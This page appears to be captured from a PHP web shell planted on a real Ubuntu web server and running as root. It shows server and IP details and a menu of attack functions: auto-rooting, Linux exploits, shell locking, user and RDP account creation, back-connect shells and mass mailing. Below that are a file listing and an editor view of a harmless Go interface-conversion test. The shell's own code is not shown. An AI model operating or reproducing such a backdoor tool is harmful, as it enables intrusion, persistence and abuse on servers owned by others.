Linux vmi284606.contaboserver.net 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.57 (Ubuntu)
: 167.86.127.34 | : 216.73.217.31
Cant Read [ /etc/named.conf ]
7.2.24-0ubuntu0.18.04.17
root
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
local /
go /
test /
interface /
[ HOME SHELL ]
Name
Size
Permission
Action
embed1.dir
[ DIR ]
drwxr-xr-x
embed3.dir
[ DIR ]
drwxr-xr-x
private.dir
[ DIR ]
drwxr-xr-x
recursive1.dir
[ DIR ]
drwxr-xr-x
assertinline.go
1.77
KB
-rw-r--r--
bigdata.go
1.45
KB
-rw-r--r--
convert.go
1.88
KB
-rw-r--r--
convert1.go
393
B
-rw-r--r--
convert2.go
393
B
-rw-r--r--
embed.go
924
B
-rw-r--r--
embed1.go
250
B
-rw-r--r--
embed2.go
1.38
KB
-rw-r--r--
embed3.go
187
B
-rw-r--r--
explicit.go
1.88
KB
-rw-r--r--
fail.go
544
B
-rw-r--r--
fake.go
1.75
KB
-rw-r--r--
noeq.go
641
B
-rw-r--r--
pointer.go
742
B
-rw-r--r--
private.go
285
B
-rw-r--r--
receiver.go
1.26
KB
-rw-r--r--
receiver1.go
768
B
-rw-r--r--
recursive.go
374
B
-rw-r--r--
recursive1.go
267
B
-rw-r--r--
returntype.go
670
B
-rw-r--r--
struct.go
2.43
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : convert.go
// run // Copyright 2009 The Go Authors. All rights reserved. // Use of this source code is governed by a BSD-style // license that can be found in the LICENSE file. // Test all the different interface conversion runtime functions. package main type Stringer interface { String() string } type StringLengther interface { String() string Length() int } type Empty interface{} type T string func (t T) String() string { return string(t) } func (t T) Length() int { return len(t) } type U string func (u U) String() string { return string(u) } var t = T("hello") var u = U("goodbye") var e Empty var s Stringer = t var sl StringLengther = t var i int var ok bool func hello(s string) { if s != "hello" { println("not hello: ", s) panic("fail") } } func five(i int) { if i != 5 { println("not 5: ", i) panic("fail") } } func true(ok bool) { if !ok { panic("not true") } } func false(ok bool) { if ok { panic("not false") } } func main() { // T2I s = t hello(s.String()) // I2T t = s.(T) hello(t.String()) // T2E e = t // E2T t = e.(T) hello(t.String()) // T2I again sl = t hello(sl.String()) five(sl.Length()) // I2I static s = sl hello(s.String()) // I2I dynamic sl = s.(StringLengther) hello(sl.String()) five(sl.Length()) // I2E (and E2T) e = s hello(e.(T).String()) // E2I s = e.(Stringer) hello(s.String()) // I2T2 true t, ok = s.(T) true(ok) hello(t.String()) // I2T2 false _, ok = s.(U) false(ok) // I2I2 true sl, ok = s.(StringLengther) true(ok) hello(sl.String()) five(sl.Length()) // I2I2 false (and T2I) s = u sl, ok = s.(StringLengther) false(ok) // E2T2 true t, ok = e.(T) true(ok) hello(t.String()) // E2T2 false i, ok = e.(int) false(ok) // E2I2 true sl, ok = e.(StringLengther) true(ok) hello(sl.String()) five(sl.Length()) // E2I2 false (and T2E) e = u sl, ok = e.(StringLengther) false(ok) }
Close